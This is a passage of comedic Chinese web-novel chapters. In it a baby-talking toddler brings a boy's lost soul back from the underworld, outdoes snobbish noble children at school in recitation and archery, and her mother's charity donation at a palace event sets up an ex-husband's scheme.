“不不不!小祖宗息怒!我……我不是那个意思啊!我是……”
“那泥似,几个意思?”
阎王跟在旁边,心里直呼不好,赶紧转移话题:“小祖宗,那您能不能说说他的情况?比如多大年纪?家住何处?怎么来的?”
许呦呦想了想:“五岁,男滴,京都城淮南王府滴,米死,就似丢了一魂。”
判官又翻了一遍名册,翻来覆去,翻去覆来。
然后抬起头,一脸无辜。
“小祖宗,这……这不在名册上啊。”
许呦呦小手往腰间一插。
阎王一拍脑袋,赶紧上来打圆场:“小祖宗息怒!我……我想起来了,这活人丢的魂,确实不在名册上。”
“咱们地府有个专门的地方,存放这些残缺的魂魄,要不……我带您去看看?”
许呦呦这才点点头:“带路。”
阎王领着许呦呦,穿过重重殿宇,来到一处阴气森森的地方。
眼前是一片一望无际的空地。
空地上空,黑压压飘着无数游魂。
有的缺胳膊,有的少腿,有的只有半个脑袋,有的只有一只眼睛。
密密麻麻,层层叠叠,铺天盖地。
许呦呦的小脸,瞬间皱成一团。
这他娘的怎么找?
她猛地回头,叉着小腰,指着阎王的鼻子就开骂:
“泥们就介么办事滴?介么多残缺游魂,就扔在介儿扒管?”
阎王和判官被骂得缩成一团,瑟瑟发抖。
“小祖宗息怒!小祖宗息怒啊!”
判官赶紧解释,“这些确实都是邪祟作恶,从活人身上勾走的一魂半魄。可是……可是那些邪祟四散在人间各个角落,根本抓不过来啊!”
“而且每抓一个,它们就换个地方,跟打地鼠似的,打不完,根本打不完啊……”
许呦呦瞪着他,小胸脯一起一伏。
判官眼珠子一转,赶紧凑上来:“小祖宗,咱先找人,找人要紧,找人要紧呀!”
“您要找的人,有没有什么特别之处?比如……胎记?或者别的什么特征?”
许呦呦歪着头想了想。
嗯,特别之处?
忽然,她眼睛一亮。
然后,深吸一口气,扯着嗓子喊了一声:
“妹妹——!!!”
那奶声奶气的声音,在空旷的游魂区回荡。
阎王和判官对视一眼,立刻心领神会。
两人也扯着嗓子,跟着喊了起来:
“妹妹——!!!”
“妹妹——!!!”
一时间,“妹妹”的叫喊声回荡在整个游魂区。
无数游魂飘过来,又飘走,都不是。
就在许呦呦快要失望发飙的时候——
一个小小的游魂,忽然急切地飘了过来。
他飘得很快,虽然比别的游魂弱了一些,但却直直地朝着许呦呦冲过来。
然后,停在她面前。
那张苍白的小脸上,露出了一个灿烂的笑容。
“妹妹!”
许呦呦眼睛一亮,一把抓住他的手腕。
“找到了找到了!就似他!”
谢怀轩的魂魄被她拉着,乖乖地站在旁边,咧嘴笑个不停。
阎王和判官同时长长地舒了口气。
娘耶!终于找到了!
找到了好啊!
找到了,就该走了……
许呦呦拉着谢怀轩的魂魄往外走去,忽然又想起什么。
她抬起头,看着阎王。
“窝要把他滴魂带肥去。”
阎王赶紧点头:“好好好,小祖宗您请便!”
“但似——”
阎王刚落下去的心,瞬间又悬了起来。
“他介魂魄不稳,就算窝把他带肥去,放回身体里,过扒了多久,还似会被勾出来。”
“泥们嗦,肿么办?”
阎王:……
判官:……
能怎么办?
还能凉拌啊?
两人对视一眼,都从对方眼中看到了淡淡的死意。
许呦呦看着他们那副生无可恋的样子,小嘴一撇,一屁股往地上一坐。
“窝不管!”
“似泥们失职,才导致他滴魂游离在外,泥们就得要赔偿!”
“扒然——”
她直勾勾地盯着他两。
“窝就不肘了,或者窝扒介里,哭一哭……”
阎王和判官吓得魂飞魄散。
上次这小祖宗哭得整个地府,彻底坍塌,这不才刚刚重建好啊!!
判官一把抱住阎王的胳膊,使劲摇晃,苦苦哀求。
“王爷,拿出来吧……求您了……您快拿出来吧!”
“您要为咱地府想想啊!上次……咱地府差点就炸了呀!”
“这次要是她不走,咱这地府……”
阎王的脸色,青了又红,红了又紫。
他颤抖着手,伸进袖子里,摸啊摸,掏啊掏……
最后,终于颤颤巍巍地拿出一颗丹药。
那丹药通体莹润,泛着柔和的光,一看就不是凡品。
“小祖宗,”阎王的声音都在发抖,“这是还魂丹……只有这一颗了……老夫这……唯一的宝贝了……”
阎王的眼眶瞬间红了。
自己好不容易刚攒这么点宝贝,就这么……
啪!又没了?
许呦呦眼睛一亮,一把抓过丹药。
“好趴好趴,谢谢阎王伯伯,判官伯伯!”
她站起来,拍拍屁股,一手拉着谢怀轩的魂魄,一手攥着丹药,大摇大摆地往外走。
走了两步,又回头。
“对了,门口辣块石碑,窝看着有点旧了……”
“明白明白,小祖宗放心,马上安排,等您下次来,我保证让您看到一块神采奕奕的石碑!”
“行趴,辣窝过两日再来!”
阎王:……
判官:……
两人站在原地,欲哭无泪。
第58章 给人发月银
直到那个小小的背影彻底消失,阎王才捂着胸口,缓缓蹲下。
“老夫的还魂丹啊……”
判官蹲在旁边,赶紧安慰:“王爷,想开点,至少……至少地府保住了呀!”
阎王抬起头,绝望地看着门口……
许呦呦带着谢怀轩的一魂,掐着时间,在天刚蒙蒙亮时,回到了院中。
“介个时间,卡滴刚刚好呀,又似扒上学滴幸运一天哇。”小家伙嘟嘟囔囔地在光圈中现身。
她的身影刚在光圈里站稳,一群人“呼啦”就围了上来。
杨婉云一把将女儿搂进怀里,上上下下打量,眼眶微红。
“凉,窝米事!”小家伙钻进娘亲怀里,仰头给了杨婉云一个安抚的微笑。
然后扭头对着空气一指,“去趴,回到泥寄几身体里。”
下一瞬,一道小小的虚影从旁边飘过,乖乖躺进了榻上谢怀轩的身体里。
许呦呦掏出还魂丹往他嘴里一塞,小手一挥。
下一瞬。
谢怀轩的睫毛颤了颤,缓缓睁开了眼。
那双眼睛,清亮亮的,再不是从前的空洞呆滞。
他眨了眨眼,目光在人群中转了一圈,最后落在许呦呦身上。
小脸上绽开一个大大的笑容:“妹妹!”
又看向泪流满面的淮南王妃:“娘亲!”
再看向红了眼眶的淮南王:“爹爹!”
淮南王妃“哇”的一声扑过去,把儿子紧紧抱住,哭得撕心裂肺。
“轩儿!娘的轩儿!你终于醒了!”
淮南王也蹲下身,大手轻抚儿子的头,眼眶通红。
一家三口抱成一团,哭得稀里哗啦。
许呦呦站在旁边,小嘴咧得老开。
太好啦!终于扒用上学啦!
淮南王很快擦干眼泪,站起来一脸慈爱地看着许呦呦,“呦呦,以后,淮南王府唯你是用,这里也是你的家。”
说着,又向一旁的玄清道长作了一揖,“道长,今儿之事,我们对外只能宣称,是您救了轩儿……”
众人心下了然,这是对呦呦的一种保护。
一旁的玄清道长浑然不在意,只淡淡地点点头。
转头却两眼放光,“嗖”的一下凑了上来。
“小祖宗!您刚才给他吃的丹药还有吗?能给贫道看看吗?就看一眼!”
“小祖宗!您刚去地府见着什么了?阎王长什么样?是不是青面獠牙?”
“小祖宗!您那法阵到底是怎么画的?为什么那么歪还能用?教教贫道呗?”
许呦呦捂着耳朵,小脸一黑。
顾振宇立刻上前,一把拎起玄清道长的后脖领。
“走了,臭道士,本将军现在就送你回观里。”
玄清道长双脚离地,还在空中扑腾:“等等!贫道还有问题!小祖宗……”
“下次再问!”
“下次是什么时候?”
顾振宇拎着他,毫不客气地大步往外走:“等你学会闭嘴的时候!”
玄清道长的声音越来越远,终于消失在夜色里。
许呦呦长长舒了口气。
呼,总算清净了。
她打了个哈欠,往娘亲怀里拱了拱。
“凉,今日……扒上学哈……”
杨婉云哭笑不得。
“好,不上学。”
小家伙满意地咂咂嘴,眼睛一闭,秒睡过去。
杨婉云便跟淮南王夫妇告辞,带着呦呦回府去了。
第三日一早。
阳光透过窗棂洒进来,许呦呦窝在温暖的小被窝里,睡得小脸红扑扑的,哈喇子流了一枕头。
梦里,她正抱着一座金山,笑得见牙不见眼。
“小姐,小姐,快醒醒!”
冬梅的声音,突然在耳边炸响。
小团子眉头一皱,翻了个身,把被子蒙在头上。
“扒要……”
“小姐,五皇子和谢公子来了,来接您去上学呢!”
许呦呦“噌”地坐起来,两个小揪揪瞬间竖得笔直。
“虾米?”
她揉揉眼睛,一脸懵逼:“谢公子?哪锅谢公子?”
“淮南王世子啊。”冬梅一边给她穿衣裳,一边说,“王妃说了,从今儿起,谢公子就是您的小厮,跟在您身边报恩。”
许呦呦眼睛一亮。
对哦,她有小厮了!
就似辣种,给她跑腿、拎东西、买糖银的小厮!
她美滋滋地穿好衣裳,蹦蹦跳跳往外走。
刚出院子,就看见谢怀轩站在门口,温文得体地站在那,眼神格外清明,看见她就咧嘴笑:“呦呦妹妹!”
许呦呦满意地点点头。
嗯,扒错,扒错,看着挺养眼。
旁边五皇子萧景珩,也笑着走过来:“呦呦妹妹,我们来接你去学堂。”
许呦呦刚要说话,就听见身后传来自家娘亲的声音:
“呦呦,既然你有了小厮,按府里的规矩,每月得给人发月银哦。”
许呦呦回头:“虾米,月银?”
“就是工钱。”杨婉云笑眯眯地伸出两根手指,“按府中规矩,每月二两。”
许呦呦的小脸,瞬间僵住了。
虾米???
二两???
她瞪大眼睛,震惊地看看自家娘亲。
“窝……窝寄几都不够用!还要给他?”
“那当然,哪有不发工钱的免费劳动力?”
“阔……阔他似来报恩滴啊!”
“报恩是报恩,工钱是工钱。”杨婉云一脸理所当然,“你总不能让人家白干活吧?”
许呦呦的小嘴一瘪,眼眶瞬间红了。
“这踏马滴算虾米报恩……你……你介似乃报仇滴啊……”
她“哇”的一声哭了出来,大大小小的鼻涕泡,都哭得此起彼伏,看着就挺伤心欲绝的。
五皇子赶紧从怀里掏出一个锦盒,递到她面前。
“呦呦妹妹别哭,你看这是什么?”
许呦呦哭声一顿,从指缝里瞄了一眼。
锦盒打开,里面躺着一个纯金打造的小如意,金光闪闪,精致无比。
“这是给你的入学礼物。”
许呦呦的哭声戛然而止。
她一把抓过金如意,放在嘴里咬了咬。
哇哦,真滴!
“来,娘帮你收起来哈,学堂可不让带贵重物品的,不然夫子也会没收。”杨婉云温柔地笑着,从她手里抽走了那个小金如意。
小姑娘还未来得及收回去的笑容,瞬间变得泪如豆粒,哭得更是凄惨。
杨婉云从怀中拿出鸡毛掸子,放在手里颠了颠。
小家伙吓得赶紧背着小书包,迈着小短腿,一跃而上,上了马车,临走时,还不忘嘟囔一句,“哎……也不寄道,到底谁能管得了窝娘……”
第59章 泥凉不要泥了
马车平稳地驶向国子监。
刚到学堂门口,就听见一阵唏嘘不已的尖叫声。
许呦呦掀开车帘,探出小脑袋,瞬间来了精神。
好家伙!
学堂门口围满了人,全是十来岁的小姑娘,一个个打扮得花枝招展,脸红得像熟透的柿子。
窗户边也挤满了人,挤得窗户都快塌了。
“啊啊啊!他看过来了,看过来了耶!”
“他笑了他笑了!他在对我笑耶!”
“胡说,他明明是在对我笑!”
许呦呦小脸上写满了好奇。
她踮起脚尖,透过人群缝隙往里看——
果然,四皇子萧景瑜站在学堂门口,身姿如玉,一袭月白锦袍衬得他清隽出尘,眉眼如远山含黛,唇角似春风化雪。
有小姑娘悄悄捂住心口,脸红得能滴出血来;还有的痴痴地望着,连手里的帕子掉了都没察觉。
他微微一笑,周围便响起一片倒吸凉气的声音……
此刻,他正捧着一个锦盒,站在门口张望。
许呦呦小脸一黑,小眼睛瞪的溜圆,就连小嘴都气得鼓了起来。
她挤开人群,迈着小短腿“噔噔噔”跑过去,一把抱住四皇子的大腿。
“漂亮得得,似窝滴!”
“他似窝滴!”
她回头,凶巴巴地瞪了一眼那群尖叫的小姑娘。
“都肘开!扒许看!”
那群小姑娘被她一瞪,愣在原地。
四皇子低头看着挂在腿上的小团子,伸手将她抱了起来,忍不住笑了。
“是你的,是你的哈,看,这是哥哥给送的入学礼物。”
许呦呦接过锦盒,打开一看——
里面躺着一块上好的羊脂玉佩,雕成一只胖乎乎的小福娃,跟她的小脸一模一样。
她的小嘴,瞬间咧到了耳根。
“嘿嘿,得得最好啦!”
她抱着玉佩,得意洋洋地回头,还冲那群小姑娘做了个鬼脸。
“康见了米?得得似窝滴!”
“窝们似,天下第一好!!”
萧景瑜眉眼含笑,眼中满是宠溺,“对,我们是天下第一好!”
不知道为什么,每次想到呦呦,他总是不由自主地想靠近她,甚至还有种莫名的熟悉感。
“小姐,快进去吧,要迟到了,再说了,您也不想四皇子就这么一直被人盯着,是不是?”冬梅上前,主动将许呦呦接了下来。
四皇子亲昵地揉了揉她的脑袋:“呦呦,放心吧,哥哥把学习的书案已经搬到你们隔壁的教室,我和五弟,以后都陪着你一起学习。”
许呦呦眼睛瞬间亮成两颗小星星:“好耶好耶!”
嘿嘿,漂亮得得天天陪着,这破学堂,好像也没那么讨厌了嘛!
就在这时。
孔大儒跟阵风似的从里面冲了出来,气喘吁吁,“是呦呦来了嘛?快,快进来。”
一把年纪的老夫子,翘首以盼了两日,今日好不容易将人等来了。
刚刚小厮来报,说小丫头在门口哭闹,他生怕她今日也不上学了,毕竟是自己一眼就相中的“徒弟”啊,他赶紧跑到门口,亲自迎接。
孔大儒牵着呦呦的小手,往幼儿学堂走去,生怕她再溜了。
还未进门。
“哇……哇……”
“呜呜……呜呜……”
教室里,已经炸了。
那哭声,跟杀猪似的,此起彼伏,一浪高过一浪。
孔大儒揉着眉心,满脸哀怨。
幼儿学堂里,十几个小团子哭成了一锅粥。
有的抱着桌子腿撕心裂肺地喊“娘亲”,
有的趴在地上捶地哭嚎“我要祖母”,
还有两个抱成一团,你一声我一声,哭得跟二重唱似的。
眼泪、鼻涕、口水,糊得到处都是。
一个小胖墩哭得太过投入,鼻涕泡吹得比脸还大,“啪”一下破了,糊了自己一脸,吓得哭得更凶了。
孔大儒捂着心口,感觉血压“嗖”地直窜上了天灵盖。
这两天,他晚上一闭眼,耳边就是“哇哇哇”的哭声,简直让他胸闷气短,随时准备断气。
他深吸一口气,捋了捋胡子,正准备进去安抚——
“闭嘴,都给窝闭嘴!!!”
一声奶吼,震得整个教室的窗户都抖了三抖。
许呦呦迈着小短腿冲到最前面,小胖手“啪”地重重拍在桌上。
一声巨响。
十几个小团子被吓得一哆嗦,齐刷刷抬起头,眼泪还挂在脸上,嘴还张着,却忘了哭。
整个幼儿班,瞬间安静极了。
孔大儒心头甚慰。
好!好!好!
老夫果然没看错人呀!
这小徒弟,有气魄!有手段!
然而。
“哭虾米哭?”许呦呦叉着小腰,小脸严肃得像个老学究,“泥凉扒要泥了!”
小团子们:(⊙o⊙)???
“泥祖母也扒要泥咧!”
“哇——!!!”
刚安静下来的教室,瞬间炸成了一锅粥。
哭得比刚才还凶,一个个撕心裂肺、鬼哭狼嚎。
一个小姑娘哭得直抽抽,一边抽一边喊:“窝凉要窝的……窝凉要窝的……”
另一个小男孩趴在地上打滚:“祖母……祖母你在哪儿啊……”
各家跟着的丫鬟小厮赶紧冲进去,抱这个哄那个,手忙脚乱,跟打仗似的。
好不容易哄得消停一会儿,哭声渐渐小了——
许呦呦歪着头,看着他们,继续安慰:
“泥们爹娘,把泥们卖到介来喽,肿么阔能还要泥们?”
“哇——!!!”
又是一片哭嚎,差点没把屋顶掀翻。
一个小胖墩哭得直蹬腿,边蹬边喊:“我不是卖的!我不是卖的!”
另一个小姑娘抱着小被子,小手捂着脸:“我要回家!我要回家!我不要被卖掉!”
孔大儒站在门口,额角青筋突突直跳,太阳穴嗡嗡作响。
他深深地吸一口气。
再深深地吸一口气。
满脸的胡子,没有一根不在抖动啊……
然后,他默默转过身,一把抓住旁边助教的手。
“去,”他声音都在发颤,“把杨夫人请来。”
“让她……把她闺女带走吧。”
助教一脸懵:“夫子,小姐这才刚来,还没上课呢……”
孔大儒捂着心口,眼眶都红了。
“她再不走,老夫就得先走了。”
“你是想给她上课,还是想给老夫上香?”
助教:(⊙﹏⊙)
第60章 我管你叫祖宗
许呦呦一听孔大儒要请她娘,瞬间炸毛。
“虾米?”她一把抱住孔大儒的大腿,小脸仰得老高,“夫纸,咱之前不是嗦好滴,不告状嘛!”
孔大儒一手捂着胸口给自己顺气,一手指着满地打滚的小团子们:“你看看,你好好看看,你干的好事!!”
“夫纸,”小家伙眼珠子滴溜溜转,“窝……窝会很多东西滴,不信,泥考窝,保证都会,只要泥扒找窝凉……”
孔大儒挑眉:“哦?”
正要开口,一道尖厉的女声从身后响起——
“呵,一个话都说不利索的小丫头,也敢说自己什么都会?”
众人回头。
一个约莫十岁的少女站在不远处,杏眼桃腮,一身绯红织锦裙衫,头戴赤金步摇,通身的气派一看就是世家贵女。
她身后还跟着个小男孩,约莫三四岁,穿着宝蓝色小锦袍,眉眼间与她有几分相似,此刻正昂着下巴,一脸傲气。
是定远侯府的嫡女赵晚晴,和她弟弟赵凌霄。
赵晚晴死死盯着许呦呦,眼里几乎要喷出火来。
方才在门口,她亲眼看见四皇子抱着这个小丫头,笑得那么温柔,那么宠溺。
而她,从见到四皇子谪仙般的容颜开始,就满心满眼是他了。
奈何,四皇子霉运缠身,她只能将心思压在心里。
但她没有放弃,日日苦练琴棋书画、骑射女红——只要自己足够优秀,总有一天能站在他身边。
前些日子,父亲昨日特意把她叫到书房,语重心长地对她说:“四皇子如今霉运已除,他是中宫嫡出,又深的陛下器重,实乃贵不可言,将来……你若是能入他的眼,为父也就放心了。”
她高兴得一宿没睡。
她等了两年的机会,终于来了!
今日她特意早早就起来,打扮了两个时辰,就是为了能在学堂门口让四皇子多看她一眼。
结果呢?
她看见了什么?
那个对谁都清冷疏离的少年,竟然抱着这个小奶娃,笑得那么温柔!
那眼神,那笑容,那宠溺的模样——她却从来都没见过!
赵晚晴的指甲掐进掌心,掐得生疼。
她死死盯着许呦呦,眼里几乎要喷出火来。
凭什么?
她苦练两年,日日盼着能多看他一眼。
这个死丫头凭什么?
她走上前,居高临下地看着许呦呦。
“还真是个不知天高地厚的熊孩子,你一个商户女生的孩子,也敢这么嚣张?”
许呦呦的小脸已经鼓成了小河豚。
两个小揪揪,“噌”地一下竖得笔直。
“窝,就似介么嚣张!!”
周围瞬间响起一片哄笑……
“哎呦,这小丫头还真挺嚣张。”
“来来来,跟她比一个,让她见识见识,什么叫人心险恶。”
“说得好,到时候,让她哭鼻子,冒鼻涕泡的那种……”
“哈哈哈哈哈……”
许呦呦气鼓鼓地叉着腰,“比就比,现在就比,窝跟泥们拼啦……”
赵晚晴一愣,随即轻蔑地笑出了声。
“跟你比试?你一个一岁半的小不点?”
“我可不欺负小娃娃。这样吧,让我弟弟跟你比。”
她拉过身后的小男孩,拍了拍他的肩膀。
“这是我弟弟凌霄,也在幼儿学堂。让他跟你比,免得别人说我以大欺小。”
赵凌霄昂着下巴,一脸傲气地看着许呦呦。
“你就是那个让四皇子抱的小丫头?哼,也不过如此嘛。”
许呦呦歪着头看他,“泥会虾米?”
赵凌霄挺起小胸脯,眼神更是傲娇:“我会的可多了!《三字经》《千字文》倒背如流!家里的夫子都夸我是神童!”
“神童?”许呦呦笑得贼兮兮地看着他,“那真不巧,窝,神童克星!!”
赵凌霄气得脸色涨红,“你等着!”
随即摇头晃脑地背了起来:
“人之初,性本善,性相近,习相远……”
一字不差,一气呵成。
背完后,赵凌霄得意扬扬地看着许呦呦。
“怎么样?怕了吧?”
许呦呦撇撇嘴。
就介?
她也张嘴就来:
“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。寒来暑往,秋收冬藏。闰余成岁,律吕调阳……”
一口气背了五十多句,一点都不带喘气的。
赵凌霄脸上的笑容,一点一点僵住。
围观的众人,嘴巴一点一点张大。
孔大儒捋着胡子,眼睛都亮了。
哎呦,不亏是他相中的小徒弟呀,有点东西啊!
赵凌霄很不服气,“这不算本事,咱们比试现学现背,夫子随意找一篇文章,夫子读完,我们开始背,谁背得多,算谁赢!”
哼,小爷我可是公认的背书能手,你个死丫头,一会儿等着哭鼻子吧。
“好呀,若似窝赢了……”
“你要是赢了,我管你叫祖宗!!”
不等呦呦说完,赵凌霄轻蔑地打断他,鼻孔里都带着轻视。
“哈哈哈哈,祖宗,小祖宗……”周围人的哄笑声更大。
孔大儒深深看了呦呦一眼,就当做是一次考验吧。
“咳咳……”他清了清嗓子,打断了他们,“那就开始了!”
他拿起一本书,翻开一页,慢悠悠地念了一段:
“夫君子之行,静以修身,俭以养德。非淡泊无以明志,非宁静无以致远。夫学须静也,才须学也,非学无以广才,非志无以成学……”
念完,他目光幽幽地看着两个小娃娃。
赵凌霄张了张嘴,磕磕巴巴地开口:“夫……夫君子之行……静以修身……俭以养德……”
他憋了半天,脸都憋红了,也只憋出寥寥几句。
许呦呦歪着头,等他不说话了,才慢悠悠开口:
“夫君子之行,静以修身,俭以养德。非淡泊无以明志,非宁静无以致远。夫学须静也,才须学也……”
一字不差。
就连孔大儒刚刚停顿、喘气的地方,都一模一样。
全场死一般的寂静。
赵凌霄瞪大了眼睛,不敢相信。
他的脸色,青了又白,白了又红。
孔大儒激动地直跳脚:“好!好!好!”
这才是他心中的理想徒儿啊!!
“乃乃乃,叫祖宗!!”许呦呦小手插兜,笑眯眯地看着赵凌霄。
第61章 泥以后只能似窝滴
赵凌霄的脸,瞬间涨成了猪肝色。
“我……我……”
他张了张嘴,却一个字都说不出来。
周围的哄笑声更大了。
“叫啊!快叫!”
“男子汉大丈夫,说话要算话!”
“哈哈哈哈,神童?这算哪门子神童啊。”
赵凌霄的眼眶慢慢红了,一咬牙,“小……小祖宗……”
“诶,乖孙孙……”许呦呦踮起脚尖,小手摸了摸他的头顶。
赵凌霄“哇”的一声哭了出来。
他一边哭一边往姐姐身后躲,鼻涕眼泪糊了一脸。
赵晚晴脸色铁青,一把拽住他:“哭什么哭!丢人现眼!”
许呦呦扭头看向她,小嘴一咧。
“该泥啦!”
赵晚晴一愣:“什么?”
“窝说,该泥啦!”许呦呦叉着小腰,“泥不似很厉害吗?小祖宗要跟你比!”
赵晚晴脸色一变,下意识往后退了一步。
“我……我不跟你比!”
“肿么了?怕啦?”许呦呦歪着头,小脸上满是挑衅,“哎……真是又菜又爱玩……”
周围又响起一阵低低的哄笑。
赵晚晴的脸涨得通红。
她咬了咬牙,忽然眼睛一亮。
“比就比!不过,这次比箭术!”
箭术?
周围一片哗然。
“赵小姐可是武将之女,从小善骑射!”
“这小丫头才一岁半,怕是连弓都拉不动吧?”
“这不是明显欺负人吗?”
赵晚晴得意扬扬地看着许呦呦。
“怎么样?敢不敢?”
许呦呦圆溜溜的眼睛瞬间亮了起来,小嘴咧开一个贼兮兮的笑。
“泥确定?”
“确定!”
“输了呢?”
“输了我叫你小祖宗!”
“扒够,还要离漂亮得得远远滴,以后有他滴地方,泥绝扒许出现……”
赵晚晴一怔,脸色绯红,咬牙切齿地点了点头。
呵,她怎么可能会输给一个奶还没断干净的小丫头。
一炷香后,后院射箭场。
四周围满了各个年龄班的学子,场面极其热闹。
赵晚晴接过丫鬟递来的小弓,站在靶前,深吸一口气。
搭箭,拉弓,瞄准。
“嗖——”
一箭正中红心。
“好!”周围响起一阵喝彩。
赵晚晴得意地撇了许呦呦一眼,又连发两箭。
“嗖——嗖——”
三箭,稳稳地扎在靶心,排成一条直线。
周围掌声雷动。
赵晚晴放下弓,昂着下巴看着许呦呦。
“该你了。”
所有人的目光都落在许呦呦身上。
有同情,有幸灾乐祸,有等着看好戏的……
许呦呦迈着小短腿,走到靶前。
那把弓比她人还高。
她踮起脚尖,够都够不着。
周围响起一阵哄笑。
“哈哈哈,你看她连弓都拿不到!”
“这怎么射?用脚吗?”
“一会儿,有她哭鼻子的时候……”
赵晚晴捂着嘴,眼里的鄙夷的笑意,甚是浓烈。
许呦呦回头,看了一眼冬梅。
冬梅心领神会,上前把弓拿下来,递到她手里。
许呦呦抱着弓,小胖手拍了拍。
然后,她从怀里摸出一根鸡毛掸子。
众人:???
她要干什么?
许呦呦把鸡毛掸子往弓弦上一搭,小手一拉。
“biu——”
鸡毛掸子飞了出去,“啪”的一下,把赵晚晴插在靶心的一支箭打落在地。
众人:(⊙o⊙)???
许呦呦又从怀里摸出一根鸡毛掸子。
“biu——”
又一支箭被打落。
第三根。
“biu——”
三支箭,全被打落。
靶心上,干干净净,一根**都没落下。
全场死一般的寂静。
赵晚晴瞪大了眼睛,下巴都快掉了。
许呦呦拍拍小手,回头冲她咧嘴一笑。
“介,都似窝玩剩下滴。”
就是下次得让皇伯父,多做几个鸡毛掸子了。
冬梅在一旁,心里默默地给陛下竖大拇指,这鸡毛胆子用起来确实得劲。
这是陛下特意让工部费了心思设计的,它不但可以伸缩,每个掸子的底部还隐藏了箭头,只要发射出去,箭头瞬间就可以钻出来。
这时。
朱静言第一个反应过来,“扑通”一声跪在地上。
“师父,师父,请收我为徒吧!”
许呦呦吓了一跳:“泥干虾米?”
“师父!您太厉害了!我要跟您学射箭!”朱静言两眼放光,满脸崇拜。
“您用鸡毛掸子都能射得这么准,要是用真箭,岂不是能把天上月亮射下来?”
许呦呦嘴角抽了抽,呃……好像似有介么回事!
当年,月亮差点就米了……
“师父,你若不收我,我就不起来了!”朱静言不依不挠,坚定地单膝跪地。
众人一脸震
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惊地看着他,也看着许呦呦。
“好扒,先嗦好哦,窝可不给泥月银。”小家伙一脸警惕地看着他。
赵晚晴站在原地,脸色涨红,又变得青紫。
她张了张嘴,想说什么,却一个字都说不出来。
周围那些刚才还在嘲笑的人,此刻一个个低着头,恨不得把脑袋埋进地里。
赵凌霄躲在她身后,大气都不敢出。
“小……小祖宗。”赵晚晴咬牙切齿,从齿缝里挤出三个字。
然后,一把拽起弟弟,逃也似的冲出国子监。
身后是一阵又一阵的哄笑……
四皇子萧景瑜笑着走过来,一把将她高高举起。
“咱们呦呦真厉害!”
“似吧,漂亮得得,窝把泥赢肥来了,泥以后只能似窝滴……咯咯咯……”
许呦呦被举得高高的,欢快的奶萌笑声在空中飘扬。
四皇子宠溺地将她抱起来转了一个有一个圈圈……
第一天的学堂生活,就这么热热闹闹地开始了。
散学时,夕阳西斜。
许呦呦走在前面,谢怀轩背着她的小书包,和朱静言一左一右跟在她的后面。
刚出大门,就看见一个高大的身影站在马车旁。
顾振宇伸长脖子,正朝这边张望。
看见她出来,眼睛瞬间亮了,三步并作两步冲过来。
“闺女!爹爹来接你啦!”
他一把将许呦呦抱起来,骑上他的脖子。
“今儿是你第一天上学,肯定累坏了。”
“走!爹爹带你逛街去!”
许呦呦眼睛一亮:“好耶好耶!”
顾振宇抱着她,在街上晃悠了整整一个时辰。
糖人、糖葫芦、桂花糕、蜜饯……一样接一样地往小家伙怀里塞。
直到太阳彻底落山,他才依依不舍地把人送回杨府。
杨府门口。
杨婉云接过女儿,看到她嘴巴塞得满满的,肚子也是圆鼓鼓的。
便把她提起来,两只脚倒立,轻轻抖了抖。
“哗啦啦——”
糖果、糕点撒了满满一地。
杨婉云眯起眼:“呦呦,你是不是哭着喊着让将军爹爹给你买糖了?”
许呦呦小脸一垮,眼珠子滴溜溜转。
“凉,凉,扒似!扒似滴!”
她一指顾振宇:“似将军爹爹,哭着喊着要给窝买糖!”
顾振宇立刻点头如捣蒜:“对对对!婉云你别生气,都怪我!确实是我哭着喊着要给闺女买糖的!”
杨婉云:……
第62章 祥云佩
许呦呦泪眼汪汪地看着被娘亲收走的糖果,委屈巴巴地看向顾振宇。
“爹爹,泥似介银间最好滴爹爹!”
“泥明天还来接窝下学呗?”
顾振宇刚想点头,就对上杨婉云警告的眼神。
他缩了缩脖子,干笑两声。
“乖闺女,爹爹有心没胆啊……”
“可不敢惹你娘生气呀。”
小姑娘小脑袋一耷拉,一脸生无可恋。
“哎……”长长地叹了口气。
“到底谁才能治治窝凉啊……”
顾振宇站在一旁,一脸讨好地看着杨婉云。
“多谢将军送呦呦回来,时辰不早了,将军还是请回吧。”杨婉云轻轻福了福身,抱着闺女转身就走。
顾振宇,又一次站在杨府门口,在冷风中凌乱……
——
每年的年节前。
京都城都会在保和殿举行“济民善会”的捐赠活动。
这是东夏开国以来延续百年的老规矩——每逢年节,皇室牵头,京中四品以上官员及世家大族齐聚一堂,捐银捐物,所得款项物资尽数用于赈济孤寡贫苦,让百姓也能过个温饱年。
年年如此,已成惯例。
唯一不同的是,今年主持善会的,是中宫皇后。
而今年的善款捐赠,也格外引人注目。
只因为,杨婉云。
短短几个月,这位曾经的“许家弃妇”,已然成为京都城最大的皇商。
江南杨家的产业在她手中经营的风生水起,绸缎庄、首饰铺、粮行、茶庄,开了一家又一家。
今日她捐的东西,刚一亮相,就惊掉了全场下巴。
米粮五千石,棉衣两千套,药材三百箱,肥猪百头,白面千袋,煤炭万斤、白银五千两……
桩桩件件都是百姓过年最急需的物件。
负责登记的礼部官员手都在抖。
“杨……杨夫人,这……这也太多了吧?”
杨婉云微微一笑:“过年了,让百姓们也过个好年。”
全场哗然。
“杨夫人真是大善人啊!”
“难怪人家能把生意做这么大,这心胸,这气度!”
“啧啧啧,许振山那个瞎了眼的,真是有眼无珠!”
杨婉云的名字。
瞬间传遍了整个捐赠现场。
庆王妃拉着她的手,笑得见牙不见眼:“婉云,你可真给咱们长脸了!”
淮南王妃也凑过来,满脸感激:“杨夫人,轩儿这几日天天念叨呦呦妹妹,我看这以后,要不就住你府上。”
杨婉云热情地与她们交谈,温婉又得体。
人群中,有一双眼睛死死盯着她。
许振山。
今日,他也来了。
他费尽心思,托了好几层关系,才混进来。
想着能不能借此机会攀上几个贵人,说不定运气好,还能官复原职。
可他一进来,就听见空中飘着几个字——杨夫人。
整个保和殿,从上到下,从里到外,从大人到孩子,无不在议论“杨婉云”。
只见这个曾经被他弃如敝履的女人,如今站在人群中央,众星捧月,风光无限。
而她看见他,连眼皮都没抬一下。
许振山心里又酸又涩。
他咬了咬牙,忽然有了主意。
对,他也可以捐东西!
只要能在皇后面前露脸,让贵人看见他的诚心,官复原职就有希望!
至于捐什么……
他摸了摸怀里那枚玉佩。
这是前些日子从杨婉云库房偷偷拿的的,成色极好,应该能值不少钱。
反正她东西那么多,丢一件也发现不了。
也幸亏她那些嫁妆,不然那些债务,又如何能还清?
许振山挤到前面,恭恭敬敬跪在皇后面前。
“皇后娘娘金安,臣许振山,也愿为百姓尽绵薄之力,特献上祖传玉佩一枚!”
他从怀里掏出玉佩,双手奉上。
